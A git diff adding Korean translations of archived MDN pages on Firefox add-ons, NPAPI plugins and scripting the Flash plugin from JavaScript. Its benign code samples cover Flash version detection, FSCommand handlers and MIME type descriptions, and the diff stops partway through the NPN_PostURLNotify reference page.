+  <p>당신은 <a href="https://developer.mozilla.org/en-US/Add-ons/SDK/Tutorials/Mobile_development">안드로이드용 Firefox를 위한 애드온 SDK 확장기능</a>도 사용할 수 있습니다.</p>
+
+  <p>우리는 당신이 <a href="https://developer.mozilla.org/en-US/Add-ons/SDK/High-Level_APIs">high-level API</a>들만을 사용할 것을 권장합니다. 이것은 당신이 웹확장기능(WebExtensions)으로 마이그레이션 하는 여행 길을 더 쉽게 해 줄 것입니다.</p>
+  </div>
+  <a class="card-grid-button" href="https://developer.mozilla.org/en-US/Add-ons/SDK">더알아보기</a></li>
+</ul>
+
+<h3 id="기존_애드온(Add-on)을_이전하기">기존 애드온(Add-on)을 이전하기</h3>
+
+<p>Firefox 내년에 몇가지 변화를 겪게 됩니다. 유저들에게는 높은 브라우징 신뢰성을, 개발자들에게는 편리한 애드온 개발경험을 제공합니다. 당신이 개발한 애드온은 호환성을 유지하기위해 몇 가지 수정이 필요할 수 있습니다. 하지만 수정이 끝난 이후에는 당신의 애드온이 좀 더 높은 호환성, 안전성을 가지게 될 것입니다.</p>
+
+<p>우리는 당신이 애드온을 이전할 때 필요한 도움을 제공하기 위해서 <a href="https://wiki.mozilla.org/Add-ons/developer/communication">개발에 필요한 자료, 권고 사항, 운영 시간, 그리고 기타</a> 등의 정보를 제공합니다.</p>
+
+<p>애드온 이전을 시작하려면 <a href="https://compatibility-lookup.services.mozilla.com/">애드온 호환성 검사</a>를 이용해서 어떤 문제가 있는지 알아보세요.</p>
+
+<h2 id="애드온_출시하기">애드온 출시하기</h2>
+
+<p><a href="https://addons.mozilla.org">Addons.mozilla.org</a>, 그러니까 일반적으로 "AMO"라 불리는 곳은, 개발자로 하여금 부가기능을 업로드하고, 사용자들이 이 부가기능을 찾아 설치할 수 있도록 만들어진 모질라재단의 공식 웹사이트입니다. AMO에 여러분이 제작한 부가기능을 업로드하여, 사용자와 제작자의 모임에 참가할 수 있게 되며, 여러분의 부가기능을 사용하는 사용자를 찾을 수 있습니다.</p>
+
+<p>AMO에 여러분의 부가기능을 반드시 업로드해야 하는 것은 아니지만, Firefox 40 버전부터 여러분의 코드를 반드시 모질라 재단이나 사용자에 의해 인증받지 않으면 부가기능을 설치할 수 없게 됩니다.</p>
+
+<p>여러분의 부가기능을 업로드하는 과정에 대해 자세히 알아보고 싶으시다면, <a href="https://developer.mozilla.org/en-US/Add-ons/Distribution">부가기능을 인증받고 배포하기</a> 문서를 참고하세요.</p>
+
+<h2 id="애드온의_다양한_형태">애드온의 다양한 형태</h2>
+
+<p>Generally, when people speak of add-ons they're referring to extensions, but there are a few other add-on types that allow users to customize Firefox. Those add-ons include:</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/Add-ons/Themes/Background">Lightweight themes</a> are a simple way to provide limited customization for Firefox.</li>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/Firefox_for_Android">Mobile add-ons</a> are add-ons for Firefox for Android. Note, though, that we intend to deprecate some of the technology underlying these APIs. In the future, WebExtensions will be fully supported on Firefox for Android.</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Creating_OpenSearch_plugins_for_Firefox">Search engine plugins</a> add new search engines to the browser's search bar.</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Creating_a_spell_check_dictionary_add-on">User dictionaries</a> are add-ons that let you spell-check in different languages.</li>
+ <li><a href="https://support.mozilla.org/kb/use-firefox-interface-other-languages-language-pack">Language packs</a> are add-ons that let you have more languages available for the user interface of Firefox.</li>
+</ul>
+
+<hr>
+<h2 id="연락하세요!">연락하세요!</h2>
+
+<p>아래에 소개된 링크를 통해서 자문을 구하거나, 피드백을 보내고, 애드온에 관련된 최신 소식을 접할 수 있습니다. </p>
+
+<h3 id="Add-ons_포럼">Add-ons 포럼</h3>
+
+<p>Use the <a href="https://discourse.mozilla-community.org/c/add-ons">Add-ons Discourse forum</a> to discuss all aspects of add-on development and to get help.</p>
+
+<h3 id="메일링_목록">메일링 목록</h3>
+
+<p>Use the <strong>dev-addons</strong> list to discuss development of the add-ons ecosystem, including the development of the WebExtensions system and of AMO:</p>
+
+<ul>
+ <li><a href="https://mail.mozilla.org/listinfo/dev-addons">dev-addons list info</a></li>
+ <li><a href="https://mail.mozilla.org/pipermail/dev-addons/">dev-addons archives</a></li>
+</ul>
+
+<h3 id="IRC">IRC</h3>
+
+<p>만약 당신이 IRC 애용자라면, 다음 방법들로 연락할 수도 있습니다.</p>
+
+<ul>
+ <li><a href="irc://irc.mozilla.org/addons">#addons</a> (애드온 생태계에 대한 대화가 주를 이룸)</li>
+ <li><a href="irc://irc.mozilla.org/extdev">#extdev</a> (애드온 개발에 대한 대화가 주를 이룸)</li>
+ <li><a href="irc://irc.mozilla.org/webextensions">#webextensions</a> (웹 확장프로그램에 대한 대화가 주를 이룸)</li>
+</ul>
+
+<p> </p>
diff --git a/files/ko/mozilla/add-ons/plugins/index.html b/files/ko/mozilla/add-ons/plugins/index.html
new file mode 100644
index 0000000000..77ab95c032
--- /dev/null
+++ b/files/ko/mozilla/add-ons/plugins/index.html
@@ -0,0 +1,43 @@
+---
+title: Plugins
+slug: Mozilla/Add-ons/Plugins
+tags:
+  - Plugins
+translation_of: Archive/Plugins
+---
+<div>
+<p><b>플러그인(Plugins or plug-ins)</b> 은 어떤 특정한 기능을 제공하기 위해 웹브라우저와 상호작용하는 작은 소프트웨어입니다. 일반적인 예로는 특정한 그래픽 형식을 보여주기 위한 플러그인이나 멀티미디어 파일을 재생하기 위한 플러그인을 들 수 있습니다. 플러그인은 현재있는 기능을 수정하거나 덧붙이는 <a href="ko/Extensions">확장기능</a>과는 조금 다릅니다.
+</p>
+</div>
+<table class="topicpage-table">
+<tbody><tr><td>
+<h4 id=".EB.AC.B8.EC.84.9C" name=".EB.AC.B8.EC.84.9C"> <a>문서</a> </h4>
+<dl><dt> <a href="ko/Gecko_Plugin_API_Reference">Gecko 플러그인 API 레퍼런스</a>
+</dt><dd> <small>이 레퍼런스는 Gecko 플러그인을 만들기 위한 응용프로그램 프로그래밍 인터페이스에 대해 기술하고 있으며, 이러한 인터페이스를 사용하는 방법에 대한 정보를 제공합니다.</small>
+</dd></dl>
+<dl><dt> <a href="ko/Using_XPInstall_to_Install_Plugins">XPInstall을 이용한 플러그인 설치</a>
+</dt><dd> <small><a href="ko/XPInstall">XPInstall</a>은 별도의 설치프로그램을 실행하기 위해 사용자가 브라우저를 종료하지 않아도 플러그인을 설치할 수 있도록 사용자에게 한결 나은 방법을 제공합니다.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://developer.apple.com/internet/webcontent/detectplugins.html">플러그인 검사</a>
+</dt><dd> <small>"Since there are clearly times when it makes sense to use a plug-in, the question arises of how to deal with those who don’t have the required plug-in installed."</small>
+</dd></dl>
+<dl><dt> <a href="ko/Scripting_Plugins/Macromedia_Flash">플러그인을 스크립트로 제어하기: Macromedia Flash</a>
+</dt><dd> <small>이 문서에서는 JavaScript가 Flash 플러그인 내부에 있는 메소드에 접근하기 위해 어떻게 사용되었는지에 대해 설명하고, 마찬가지로 Flash 애니메이션에서 JavaScript를 호출하기 위한 FSCommands 라는 기능에 대해서도 설명합니다.</small>
+</dd></dl>
+<p><span class="alllinks"><a>모두 보기...</a></span>
+</p>
+</td>
+<td>
+<h4 id=".EC.BB.A4.EB.AE.A4.EB.8B.88.ED.8B.B0" name=".EC.BB.A4.EB.AE.A4.EB.8B.88.ED.8B.B0"> 커뮤니티 </h4>
+<ul><li> Mozilla 포럼 보기...
+</li></ul>
+<p>{{ DiscussionList("dev-tech-plugins", "mozilla.dev.tech.plugins") }}
+</p>
+<h4 id=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C" name=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C"> 관련 주제 </h4>
+<dl><dd> <a href="ko/Gecko">Gecko</a>
+</dd></dl>
+</td></tr></tbody></table>
+<p><span class="comment">Categories</span>
+</p><p><span class="comment">Interwiki Language Links</span>
+</p><p><br>
+</p>{{ languages( { "es": "es/Plugins", "fr": "fr/Plugins", "ja": "ja/Plugins", "pl": "pl/Wtyczki", "pt": "pt/Plugins" } ) }}
diff --git a/files/ko/mozilla/add-ons/plugins/macromedia_flash/index.html b/files/ko/mozilla/add-ons/plugins/macromedia_flash/index.html
new file mode 100644
index 0000000000..2784594e4c
--- /dev/null
+++ b/files/ko/mozilla/add-ons/plugins/macromedia_flash/index.html
@@ -0,0 +1,150 @@
+---
+title: Macromedia Flash
+slug: Mozilla/Add-ons/Plugins/Macromedia_Flash
+tags:
+  - Plugins
+translation_of: Archive/Plugins/Scripting_Plugins_Adobe_Flash
+---
+<p>스크립트로 제어할 수 말은 <a href="ko/JavaScript">JavaScript</a>와 플러그인이 상호 작용할 수 있다는 말입니다. 특히 Macromedia® Flash™ 플러그인은 JavaScript에서 플러그인에 접근할 수 있는 기능을 제공하고 있으며, 플러그인 안에서 JavaScript 메소드에 접근할 수도 있습니다. 이 문서는 Flash 플러그인이 노출하고 있는 메소드에 JavaScript로 접근하는 방법에 대해서, 그리고 Flash 애니메이션에서 JavaScript 함수에 접근하기 위해 FSCommand라는 기능을 사용하는 방법에 대해서 설명하고 있습니다. 이 문서는 <a href="ko/Gecko">Gecko</a>™ 기반 웹브라우저에서 Flash 플러그인을 사용할 때의 팁에 초점을 두고 있습니다.</p>
+
+<h3 id=".EC.98.AC.EB.B0.94.EB.A5.B8_Flash_.ED.94.8C.EB.9F.AC.EA.B7.B8.EC.9D.B8.28.EA.B3.BC_.EB.B8.8C.EB.9D.BC.EC.9A.B0.EC.A0.80.29.EB.A5.BC_.EC.95.8C.EC.95.84.EB.82.B4.EA.B8.B0" name=".EC.98.AC.EB.B0.94.EB.A5.B8_Flash_.ED.94.8C.EB.9F.AC.EA.B7.B8.EC.9D.B8.28.EA.B3.BC_.EB.B8.8C.EB.9D.BC.EC.9A.B0.EC.A0.80.29.EB.A5.BC_.EC.95.8C.EC.95.84.EB.82.B4.EA.B8.B0">올바른 Flash 플러그인(과 브라우저)를 알아내기</h3>
+
+<p>Macromedia Flash는 Flash 6r49 버전부터 Netscape Gecko 브라우저에서 스크립트로 제어할 수 있는 기능을 제공합니다. Flash 5 같이 6r49 이전 버전은 Netscape Gecko 브라우저에서 스크립트로 제어할 수 없습니다. 그러므로 클라이언트에 설치된 Flash 버전을 알아내는 일은 Flash를 스크립트로 제어함에 있어서 아주 중요한 일입니다. Mac OS X에서는 피해야 할 문제점이 하나 더 있습니다. Mach-O 바이너리 형식을 사용하는 <a class="external" href="http://mozilla.org/projects/camino/">Camino</a> (이전에는 Chimera였음) 브라우저, <a class="external" href="http://www.mozilla.org/">Mozilla</a> 브라우저 최신 버전, 앞으로 나올 Netscape 브라우저들은 Flash 플러그인을 스크립트로 제어하는 기능을 사용할 수 없습니다. Macromedia가 Flash 플러그인을 수정하기 전까지는 Mac OS X에서 Gecko 기반 브라우저들은 스크립트로 Flash를 제어할 수 없습니다. 다음에 나오는 예제는 실제로 Flash 버전을 알아내는 휴리스틱(heuristic)한 방법을 보여줍니다.</p>
+
+<h4 id=".EC.98.88.EC.A0.9C_1_Flash_.ED.94.8C.EB.9F.AC.EA.B7.B8.EC.9D.B8_.EB.B2.84.EC.A0.84.EC.9D.84_.EA.B2.80.EC.82.AC.ED.95.98.EA.B8.B0" name=".EC.98.88.EC.A0.9C_1:_Flash_.ED.94.8C.EB.9F.AC.EA.B7.B8.EC.9D.B8_.EB.B2.84.EC.A0.84.EC.9D.84_.EA.B2.80.EC.82.AC.ED.95.98.EA.B8.B0">예제 1: Flash 플러그인 버전을 검사하기</h4>
+
+<p>아래의 JavaScript는 Flash 버전을 알아내고, Netscape Gecko에서 스크립트로 제어 가능한지 알아내는 기능을 합니다.</p>
+
+<pre>can we have javascript in a wiki page?
+&lt;script type="text/javascript"&gt;identifyFlash();&lt;/script&gt;
+</pre>
+
+<p>일반적으로, 어느 버전 플러그인이 설치돼있는지 알아내는 JavaScript 코드는 navigator 개체(object)안의 mimeTypes 배열을 찾아봅니다. 모든 플러그인은 보통 플러그인 이름과 버전을 포함하고 있는 description 문자열을 제공합니다. Flash 플러그인의 descripton 문자열은 의미있는 정보를 뽑아낼 수 있는 표준적인 버전 번호 명명법으로 기록되어 있습니다. 예를 들어 현재 Flash 플러그인 버전은 Flash 6 r79입니다. description 문자열은 이 버전을 담고 있습니다. 이외에도 OS X에서 Mach-O 바이너리를 사용하는 브라우저에서 스크립트로 제어할 수 없는 Flash 버전은 골라낼 수 있는 방법이 필요합니다. 다행히 Netscape Gecko 기반 Mach-O 브라우저는 user-agent 문자열에 그 정보를 보여줍니다. Flash 플러그인 버전을 알아내는 알고리즘적 접근 방법은 다음과 같을 것입니다.</p>
+
+<pre>var plugin = navigator.mimeTypes["application/x-shockwave-flash"].enabledPlugin;
+var description = plugin.description;
+// 1.description 문자열을 구성요소 별로 나눈다
+
+var versionArray = description.match(/[\d.]+/g);
+
+// 2. Flash 버전이 6r.49보다 큰지 결정한다
+// 3. 그렇다면 Windows와 Linux에서 스크립트로 제어 가능한 버전이다
+// 4. 브라우저가 Mach-O 바이너리를 사용하는지 검사한다
+// 5. 그렇다면 플러그인 버전이 12보다 큰지 검사한다
+// 버전 12는 Mach-O 브라우저에서도 Flash 플러그인을 스크립트로 제어할 수 있게
+// 수정될 것이라 예상되는 Flash 버전이다
+
+var flashVersionOSXScriptable = 12;
+if(navigator.userAgent.indexOf("Mach-O")!=-1)
+{
+	if(flashversion &lt; flashVersionOSXScriptable)
+		// Flash 버전이 12보다 작으므로 OS X에서 스크립트로 제어할 수 없다
+}
+// 6. 에러 처리(Flash가 설치되지 않은 경우 등)
+</pre>
+
+<p><strong>예제 1</strong>에서는 JavaScript 문자열의 <a class="external" href="http://developer.netscape.com/docs/manuals/js/client/jsref/regexp.htm#1193136">RegExp</a> (정규 표현식) 개체를 사용합니다. description 문자열은 <a class="external" href="http://developer.netscape.com/docs/manuals/js/client/jsref/string.htm#1205239">match</a> 메소드 호출로 인해 구성요소별로 나누어져 배열에 들어갑니다. 여기 사용된 정규 표현식은 문자열이 Flash Major rMinor 같은 식으로 구성되어 있을 것이라고 가정합니다. Major는 "5"나 "6" 같은 메이저 버전 번호이고, Minor는 마이너 버전 번호입니다. 또 <strong>예제 1</strong>에서는 flashVersionOSXScriptable 상수를 만들어서 12를 할당하는데, 이것은 OS X용 Mach-O 브라우저에서 Flash를 스크립트로 제어할 수 있도록 수정된 Flash 버전이 12일 것이라고 임의로 정한 것입니다. 12 정도면 충분히 큰 버전 번호라고 생각됩니다(현재 버전은 6r.79입니다). Mac OS X에 있는 문제점이 언제 수정될 지 정보를 얻게 된다면 flashVersionOSXScriptable 상수를 좀 더 정확한 값으로 바꿀 수 있을 것입니다. 이 예제를 실제로 구현한 코드는 <a class="external" href="http://devedge-temp.mozilla.org/viewsource/2003/scripting-flash/flashversion.js.txt">flashversion.js</a> 파일을 보시면 됩니다.</p>
+
+<h3 id="HTML.EC.9D.84_.EC.A0.9C.EB.8C.80.EB.A1.9C_.EC.82.AC.EC.9A.A9.ED.95.98.EA.B8.B0" name="HTML.EC.9D.84_.EC.A0.9C.EB.8C.80.EB.A1.9C_.EC.82.AC.EC.9A.A9.ED.95.98.EA.B8.B0">HTML을 제대로 사용하기</h3>
+
+<p>Netscape Gecko 브라우저에서 object 요소나 embed 요소를 사용하면 플러그인을 불러낼 수 있습니다. object 요소는 W3C HTML 4 표준에 포함된 반면 embed 요소는 사용하지 않기를 권장하는 요소입니다. 플러그인을 불러올 때 올바른 마크업 사용하기(Using the Right Markup to Invoke Plugins)에서 관련된 논의를 볼 수 있습니다. 그러나 FSCommand를 이용해서 HTML 페이지에 포함된 JavaScript 함수를 실행하려면 embed 요소를 써야 합니다.</p>
+
+<h3 id="JavaScript.EC.97.90.EC.84.9C_Flash.EC.97.90_.EC.A0.91.EA.B7.BC.ED.95.98.EA.B8.B0" name="JavaScript.EC.97.90.EC.84.9C_Flash.EC.97.90_.EC.A0.91.EA.B7.BC.ED.95.98.EA.B8.B0">JavaScript에서 Flash에 접근하기</h3>
+
+<p>아래에 있는 간단한 예제는 HTML 텍스트 상자에 입력한 내용을 Flash 애니메이션(아래의 회색 텍스트 상자)으로 전달하는 방법을 보여줍니다.</p>
+
+<h4 id=".EC.98.88.EC.A0.9C_2_JavaScript_to_Flash_Communication" name=".EC.98.88.EC.A0.9C_2:_JavaScript_to_Flash_Communication">예제 2: JavaScript to Flash Communication</h4>
+
+<p><strong>참고:</strong> 사용자가 컴퓨터 한 대에 Mozilla 기반 브라우저를 여러 개 설치했다면, JavaScript에서 Flash로의 통신 방법은 버전 8보다 이전에 나온 Flash Player에서는 동작하지 않을 수도 있습니다. (see {{ Bug(284057) }} and {{ Bug(233533) }})</p>
+
+<p>아래에 있는 HTML 텍스트 상자에 아무 텍스트나 넣은 다음 텍스트 상자 밖을 마우스로 클릭하거나 엔터키를 누르면 입력한 텍스트가 Flash로 전달됩니다.</p>
+
+<pre>The example is missing.
+</pre>
+
+<p><strong>예제 2</strong>에서는 Macromedia Flash에 미리 정의된 <a class="external" href="http://www.macromedia.com/support/flash/publishexport/scriptingwithflash/scriptingwithflash_03.html">SetVariable</a> 메소드를 사용했습니다. 일반적으로 Netscape Gecko 브라우저에서 Macromedia에서 Flash에 미리 정의해 놓은 메소드를 호출하려면,</p>
+
+<ul>
+ <li>DOM 메소드를 사용해서, Flash 플러그인을 생성하는 HTML 요소의 핸들을 얻으십시오. 여기서 핸들이란 embed 요소의 name 속성이나 object 요소의 ID 속성을 의미합니다.</li>
+ <li>HTML 요소의 핸들을 실제 Flash 플러그인에 대한 핸들이라고 생각하여 공개된 메소드를 호출하십시오. 즉 다음의 코드에서 처럼 사용하면 됩니다.</li>
+</ul>
+
+<pre>&lt;object id="myFlash" ..... &gt;
+&lt;param name="movie" value="somefile.swf" /&gt;
+
+....
+
+var myFlash = document.getElementById("myFlash").SetVariable("myVar", sendText);
+</pre>
+
+<p><br>
+ <strong>예제 2</strong>가 어떻게 만들어졌는지 보여주는 더 확장된 코드는 <a class="external" href="http://devedge-temp.mozilla.org/viewsource/2003/scripting-flash/document-write.html.txt">이 파일</a>에서 볼 수 있습니다.</p>
+
+<h3 id="FSCommand_Flash.EC.97.90.EC.84.9C_JavaScript.EC.97.90_.EC.A0.91.EA.B7.BC.ED.95.98.EA.B8.B0" name="FSCommand:_Flash.EC.97.90.EC.84.9C_JavaScript.EC.97.90_.EC.A0.91.EA.B7.BC.ED.95.98.EA.B8.B0">FSCommand: Flash에서 JavaScript에 접근하기</h3>
+
+<p><strong>참고:</strong> 사용자가 컴퓨터 한 대에 Mozilla 기반 브라우저를 여러 개 설치했다면, 버전 8보다 이전에 나온 Flash Player에서는 FSCommand가 동작하지 않을 수도 있습니다. (see {{ Bug(284057) }} and {{ Bug(233533) }})</p>
+
+<p><strong>예제 2</strong>에서, 플러그인을 생성한 HTML(object 요소 또는 embed 요소)의 핸들을 JavaScript 함수에서 일단 얻었습니다. 그 후에 핸들을 이용해서 <a class="external" href="http://www.macromedia.com/support/flash/publishexport/scriptingwithflash/">Flash 플러그인에서 공개된 메소드</a>를 호출했습니다. FSCommand를 이용하면 Macrodedia ActionScript 언어에서 Flash 애니메이션을 포함하는 환경(HTML 페이지 등)에 콜백을 보낼 수 있습니다. 다음의 예제에서 두 가지 통신 방법이 실제로 동작하는 모습을 볼 수 있습니다.</p>
+
+<h4 id=".EC.98.88.EC.A0.9C_3_JavaScript.EC.97.90.EC.84.9C_Flash.EB.A1.9C_.ED.86.B5.EC.8B.A0_.EB.B0.A9.EB.B2.95.EA.B3.BC_FSCommand_--_Flash.EC.97.90.EC.84.9C_JavaScript.EB.A1.9C_.ED.86.B5.EC.8B.A0_.EB.B0.A9.EB.B2.95" name=".EC.98.88.EC.A0.9C_3:_JavaScript.EC.97.90.EC.84.9C_Flash.EB.A1.9C_.ED.86.B5.EC.8B.A0_.EB.B0.A9.EB.B2.95.EA.B3.BC_FSCommand_--_Flash.EC.97.90.EC.84.9C_JavaScript.EB.A1.9C_.ED.86.B5.EC.8B.A0_.EB.B0.A9.EB.B2.95">예제 3: JavaScript에서 Flash로 통신 방법과 FSCommand -- Flash에서 JavaScript로 통신 방법</h4>
+
+<pre>The example is missing.
+</pre>
+
+<p><strong>예제 3</strong>에서는 HTML 버튼을 클릭하면 Flash 애니메이션에 있는 공이 움직입니다. 이것은 JavaScript에서 Flash로의 통신을 보여주는 것입니다. HTML 버튼을 클릭하면 JavaScript 이벤트가 발생하고 그 이벤트가 Flash 애니메이션을 움직이게 합니다. 더 아래쪽에서, 색이 칠해진 탭을 클릭하면 HTML 페이지의 전체 색깔이 바뀝니다. 이것은 반대 방향으로의 통신 즉, Flash 애니메이션이 자신을 포함하고 있는 HTML 페이지에 뭔가 영향을 준다는 것을 보여줍니다.</p>
+
+<p><strong>예제 3</strong>에서 FSCommand의 사용법을 볼 수 있습니다. Netscape Gecko 브라우저에서 Flash 애니메이션을 HTML 페이지에 포함시키고 FSCommand를 사용하려고 한다면, 반드시 embed 요소를 사용해야만 합니다. IE도 지원하려면 object 요소 안에 embed 요소를 포함시킬 수 있습니다. 앞으로 나올 Flash 플러그인은 Netscape Gecko 브라우저에서도 object 요소와 함께 FSCommand를 사용할 수 있게 될 수도 있습니다. 이 문제는 Mozilla 프로젝트의 {{bug(184722) }}에 관리중입니다.</p>
+
+<p>Flash 애니메이션 안에서 색깔을 클릭하면 전체 페이지의 배경색이 토글됩니다. 클릭을 하면 Flash를 포함하는 외부 환경(즉 HTML 페이지)에 콜백을 보내게 되고, 콜백을 처리할 JavaScript 메소드를 찾게 됩니다. Flash 애니메이션의 ActionScript 함수를 호출함으로써 콜백을 보내는 것입니다. 이 콜백을 처리할 JavaScript 함수 이름은 Flash 플러그인이 찾을 수 있는 특별한 이름을 가져야 합니다. embed요소의 이름에 밑줄("_")과 "DoFSCommand"라는 문자열을 붙인 함수 이름이 바로 그것입니다. <strong>예제 3</strong>에서 사용된 기법을 보여주는 간단한 코드가 아래에 있습니다.</p>
+
+<pre>&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
+codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"
+id="myFlash" width="250" height="150" VIEWASTEXT&gt;
+
+ &lt;param name="movie" value="js2flash.swf" /&gt;
+ &lt;param name="quality" value="high"&gt;&lt;/param&gt;
+
+  &lt;embed src="js2flash.swf" width="250" height="150" swLiveConnect="true"
+  quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer"
+  type="application/x-shockwave-flash" name="myFlash"&gt;
+  &lt;/embed&gt;
+
+&lt;/object&gt;
+ .....
+
+function myFlash_DoFSCommand(command, args)
+{
+	// Flash 애니메이션에 여러분이 만들어놓은 모든 콜백을 처리합니다
+	// Flash 플러그인이 command와 args에 값을 전달해 줄 것입니다.
+	// Flash 애니메이션이 보내는 모든 정보를 처리하는 함수가 바로 이 함수입니다
+	// FSCommand만 있으면 ActionScript가 JavaScript와 통신할 수 있습니다!
+}
+</pre>
+
+<p>위의 코드에서, Flash에서 보낸 것을 처리하는 JavaScript 함수는 embed 요소의 name 속성에 "_DoFSCommand" 문자열을 덧붙여서 만든 이름을 가지고 있습니다. 이 예제의 전체 소스는 <a class="external" href="http://devedge-temp.mozilla.org/viewsource/2003/scripting-flash/flash-to-js.html.txt">flash-to-js.html</a>에서 볼 수 있습니다. <a class="external" href="http://www.macromedia.com/support/flash/action_scripts/actionscript_dictionary/">Macromedia ActionScript 사전</a>을 보면 Flash 애니메이션 코드에서 FSCommand를 사용할 때 참고할 만한 내용이 있습니다.</p>
+
+<h3 id="Additional_References" name="Additional_References">Additional References</h3>
+
+<h4 id="Macromedia_Flash_Developer_Documentation" name="Macromedia_Flash_Developer_Documentation">Macromedia Flash Developer Documentation</h4>
+
+<ul>
+ <li><a class="external" href="http://www.macromedia.com/support/flash/publishexport/scriptingwithflash/">Scripting The Flash Player Plugin</a></li>
+ <li><a class="external" href="http://www.macromedia.com/support/flash/ts/documents/java_script_comm.htm">Communication Between JavaScript and Macromedia Flash</a></li>
+ <li><a class="external" href="http://www.macromedia.com/support/flash/action_scripts/actions/fscommand.html">FSCommands (Definition from the ActionScript Dictonary)</a></li>
+ <li><a class="external" href="http://www.macromedia.com/support/flash/action_scripts/actionscript_dictionary/">ActionScript Dictionary</a></li>
+</ul>
+
+<h4 id="MDC_Resources" name="MDC_Resources">MDC Resources</h4>
+
+<ul>
+ <li><a href="ko/Using_the_Right_Markup_to_Invoke_Plugins">플러그인을 불러올 때 올바른 마크업 사용하기</a></li>
+ <li><a href="ko/Plugins">Plugin Central</a></li>
+</ul>
+
+<h4 id="Notable_Bugs" name="Notable_Bugs">Notable Bugs</h4>
+
+<ul>
+ <li>{{bug(184722) }}</li>
+ <li>{{bug(180378) }}</li>
+ <li>{{bug(203861)}}</li>
+</ul>
diff --git a/files/ko/mozilla/add-ons/plugins/reference/index.html b/files/ko/mozilla/add-ons/plugins/reference/index.html
new file mode 100644
index 0000000000..fcb2ba7232
--- /dev/null
+++ b/files/ko/mozilla/add-ons/plugins/reference/index.html
@@ -0,0 +1,16 @@
+---
+title: NPAPI plugin reference
+slug: Mozilla/Add-ons/Plugins/Reference
+tags:
+  - Deprecated
+  - Landing
+  - NPAPI
+  - NeedsTranslation
+  - Plugins
+  - Reference
+  - TopicStub
+translation_of: Archive/Plugins/Reference
+---
+<p>{{deprecated_header}}</p>
+<p>The articles below describe each of the APIs related to NPAPI plugins.</p>
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/ko/mozilla/add-ons/plugins/reference/np_getmimedescription/index.html b/files/ko/mozilla/add-ons/plugins/reference/np_getmimedescription/index.html
new file mode 100644
index 0000000000..ca0c233725
--- /dev/null
+++ b/files/ko/mozilla/add-ons/plugins/reference/np_getmimedescription/index.html
@@ -0,0 +1,38 @@
+---
+title: NP GetMIMEDescription
+slug: Mozilla/Add-ons/Plugins/Reference/NP_GetMIMEDescription
+translation_of: Archive/Plugins/Reference/NP_GetMIMEDescription
+---
+<p>NP_GetMIMEDescription 플러그인이 지원하는 MIME Type 목록을 리턴합니다. Unix (Linux) 와 MacOS 에서 동작합니다. Windows에서는 지원하는 mimetype을 dll 리소스 파일에 정의하여야합니다.</p>
+<p>각각의 MIME type에 대한 서술은 세미콜론(;)으로 구분되어야 합니다.<br>
+  각각의 Mime type에 대한 서술은 Mime type, 확장목록 그리고 간략한 설명을 포함합니다.</p>
+<h3 id="하나의_MIME_type_를_사용한_경우">하나의 MIME type 를 사용한 경우</h3>
+<pre>// example inside http://mxr.mozilla.org/mozilla-central/source/modules/plugin/sdk/samples/basic/unix/plugin.cpp
+#define MIME_TYPE_DESCRIPTION "application/basic-plugin:bsp:Basic Example Plug-in for Mozilla"
+const char* NP_GetMIMEDescription(void)
+{
+  return(MIME_TYPES_DESCRIPTION);
+}</pre>
+<h3 id="둘의_MIME_type_를_사용한_경우">둘의 MIME type 를 사용한 경우</h3>
+<pre>const char* NP_GetMIMEDescription(void)
+{
+  return "application/basic-example-plugin:xmp1:Example 1;application/basic-example2-plugin:xmp2, xm2p:Example 2";
+}</pre>
+<h3 id="Gnome_Integration">Gnome Integration</h3>
+<p>GNOME VFS (gnome-vfs-2.0)를 사용하는 경우라면, 아래 함수를 이용하여 MIME type description 을 얻을수 있습니다.</p>
+<pre>#include &lt;libgnomevfs/gnome-vfs-mime-handlers.h&gt;
+#include &lt;libgnomevfs/gnome-vfs-mime-info.h&gt;
+#include &lt;libgnomevfs/gnome-vfs-utils.h&gt;
+
+// const char* gnome_vfs_mime_get_description (const char *mime_type);
+const char* desc = gnome_vfs_mime_get_description ("audio/ogg");</pre>
+<p>If you use GNOME GIO (gio-2.0), you can get the MIME type description too.</p>
+<pre>#include &lt;gio/gio.h&gt;
+const char* desc = g_content_type_get_description("audio/ogg");</pre>
+<h3 id="JavaScript">JavaScript</h3>
+<p>아래 코드를 이용하여 웹 페이지 내에서, MIME Type에 대한 정보를 얻을 수 있습니다.</p>
+<pre>var mimetype = navigator.mimeTypes['application/basic-example-plugin'];
+if (mimetype) {
+  alert(mimetype.type + ':' + mimetype.suffixes + ':' + mimetype.description);
+}
+</pre>
diff --git a/files/ko/mozilla/add-ons/plugins/reference/npn_posturlnotify/index.html b/files/ko/mozilla/add-ons/plugins/reference/npn_posturlnotify/index.html
new file mode 100644
index 0000000000..c60a613113
--- /dev/null
+++ b/files/ko/mozilla/add-ons/plugins/reference/npn_posturlnotify/index.html
@@ -0,0 +1,76 @@
+---
+title: NPN_PostURLNotify
+slug: Mozilla/Add-ons/Plugins/Reference/NPN_PostURLNotify
+translation_of: Archive/Plugins/Reference/NPN_PostURLNotify
+---
+<p> « <a href="https://developer.mozilla.org/ko/docs/Gecko_Plugin_API_Reference">Gecko Plugin API Reference</a> « <a href="https://developer.mozilla.org/ko/docs/Gecko_Plugin_API_Reference/Plug-in_Side_Plug-in_API">Plug-in Side Plug-in API</a>
+
+
+</p><h2 id="Summary" name="Summary">개요</h2>
+
+<p>지정한 URL로 POST 호출하고, 결과 알림을 받는다.</p>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="syntaxbox">#include &lt;npapi.h&gt;
+
+NPError NPN_PostURLNotify(NPP         instance,
+                          const char* url,
+                          const char* target,
+                          uint32      len,
+                          const char* buf,
+                          NPBool      file,
+                          void*       notifyData);
+</pre>
+
+<h3 id="Parameters" name="Parameters">파라메터</h3>
+
+<p>함수는 다음과 같은 파라메터를 입력받는다:</p>
+
+<dl>
+ <dt>instance</dt>
